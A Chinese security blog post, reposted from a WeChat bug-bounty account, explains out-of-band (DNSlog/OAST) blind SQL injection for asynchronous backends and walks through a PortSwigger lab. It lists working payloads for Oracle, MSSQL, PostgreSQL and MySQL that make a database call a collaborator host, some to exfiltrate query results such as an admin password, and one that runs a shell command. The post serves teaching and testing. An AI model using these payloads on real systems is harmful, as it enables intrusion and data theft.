OAST SQL盲注 (Dnslog) 真正的用法和意义,发掘无法使用时间盲注的注入点

admin 2024年9月9日14:34:24评论23 views字数 2836阅读9分27秒阅读模式
 

认识不足

i. 在之前,我只知道OAST SQL注入这种技术,但是并不知道其的意义,甚至认为他有点鸡肋(例如在mysql中:1. 需要使用 load_file() 函数,所以一般得是 root 权限,权限要求较高 2. 需要数据库服务器出网...)

ii. 同时,在之前,我认为时间盲注是可以注入全部的存在sql注入的网站的,至少对于判断sql注入来说应该是万能的,因为无论有没有回显都会执行,但是我忘记考虑了多线程/协程的情况,一直在用单线程的思维去进行思考,当其为多线程的时候,时间盲注可能是无法注入的,但是这时候dnslog是可以实现的,至少判断sql注入是没有问题的!

OAST SQL盲注 具体方式

这个内容网上有很多公开的文章,我就不多说了,基本的原理就是:构造一个sql注入语句,通过数据库中的函数,去对dnslog服务器进行请求,当sql注入语句被执行了,也就意味着会对dnslog服务器进行请求,通过dnslog的回显,就可以实现对sql注入的判断,存在则dnslog会进行显示,不存在(也有可能存在,但是不出网)dnslog则不会进行显示...
OAST SQL盲注 (Dnslog) 真正的用法和意义,发掘无法使用时间盲注的注入点

利用dnslog进行sql盲注 - beiwo - 博客园[2]

SQL注入-DNSlog注入(手工加工具使用)_dnslog手动注入-CSDN博客[3]

背景

现在的网站越来越发达,大多数网站基本都会使用协程,异步的方式进行多个任务的查询,当一个请求会进行多个任务的时候,他可能就会采用协程,或者多线程的异步方式,同时运行着几个任务,例如:我们发送了一个登录请求,但是后端不仅会检验我们登录是否成功(任务1),同时也会对我们的ua等数据进行记录(任务2),如果使用单线程,我们就需要等到两个任务都进行完毕,才会返回结果,但是这不是我们用户想要的,正常我们应该得到的了成功的登录结果,就进行返回,也就是任务1的结果,使用单线程会导致不必要的等待时间,所以这时候使用多线程,另启动一个线程去执行ua的记录功能,而我们正常登录就只需要等待任务1得到结果即可返回

单线程

OAST SQL盲注 (Dnslog) 真正的用法和意义,发掘无法使用时间盲注的注入点

多线程

OAST SQL盲注 (Dnslog) 真正的用法和意义,发掘无法使用时间盲注的注入点
这里就是最大的问题,我认为普通的时间盲注只能判断当前线程,也就是任务1是否存在sql注入,如果任务2等异步的任务存在sql注入,是无法通过:时间,报错,堆叠等注入查询出来的,因为他是另一个线程,和当前的请求的响应没有直接关系,无论存不存在sql注入,我们获取到的响应的时间,响应的结果,都不会被影响。这时候就可以使用dnslog去完美的对他进行探测!!
OAST SQL盲注 (Dnslog) 真正的用法和意义,发掘无法使用时间盲注的注入点

案例

这一点在burpsuite中已经提出来了,我们可以通过burp的靶场进行实战的复现

情景介绍:当我们在访问网站发送数据包的时候后端会进行两个任务,一个是处理你的请求包,一个是跟踪收集 Cookie,根据Cookie中的参数 TrackingId 去查询是否是已知用户在操作。

What is Blind SQL Injection? Tutorial & Examples | Web Security Academy[4]

单线程非异步的情况

使用时间盲注进行测试

pg_sleep(10)-

OAST SQL盲注 (Dnslog) 真正的用法和意义,发掘无法使用时间盲注的注入点

存在明显区别,可以实现sql注入的探测

OAST SQL盲注 (Dnslog) 真正的用法和意义,发掘无法使用时间盲注的注入点

多线程异步的情况

使用dnslog进行测试

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
OAST SQL盲注 (Dnslog) 真正的用法和意义,发掘无法使用时间盲注的注入点
OAST SQL盲注 (Dnslog) 真正的用法和意义,发掘无法使用时间盲注的注入点
进行数据外带,获取到管理员密码
OAST SQL盲注 (Dnslog) 真正的用法和意义,发掘无法使用时间盲注的注入点
尝试插入延时注入的语句,看时间盲注是否有用
dbms_pipe.receive_message(('a'),10)

时间上没有明显的变化

OAST SQL盲注 (Dnslog) 真正的用法和意义,发掘无法使用时间盲注的注入点

关于一些数据库dnslog的poc

BURP-COLLABORATOR-SUBDOMAIN 指的是Dnslog的域名

验证poc

Orcale

这个poc是利用了orcale的漏洞的,只有当Oracle存在这个漏洞的时候才有效果

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')

Microsoft

exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'

PostgreSQL

copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'

mysql

SELECT ... INTO OUTFILE '\\BURP-COLLABORATOR-SUBDOMAINa'

外带数据

Orcale

这个poc是利用了orcale的漏洞的,只有当Oracle存在这个漏洞的时候才有效果

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

Microsoft

declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')
create OR replace function f() returns void as $$declare c text;declare p text;begin

PostgreSQL

SELECT into p (SELECT YOUR-QUERY-HERE);c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';execute c;END;$$ language plpgsql security definer;SELECT f();

mysql

SELECT YOUR-QUERY-HERE INTO OUTFILE '\\BURP-COLLABORATOR-SUBDOMAINa

 

原文始发于微信公众号(fkalis):【海外SRC赏金挖掘】OAST SQL盲注 (Dnslog) 真正的用法和意义,发掘无法使用时间盲注的注入点

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月9日14:34:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   OAST SQL盲注 (Dnslog) 真正的用法和意义,发掘无法使用时间盲注的注入点https://cn-sec.com/archives/3142277.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息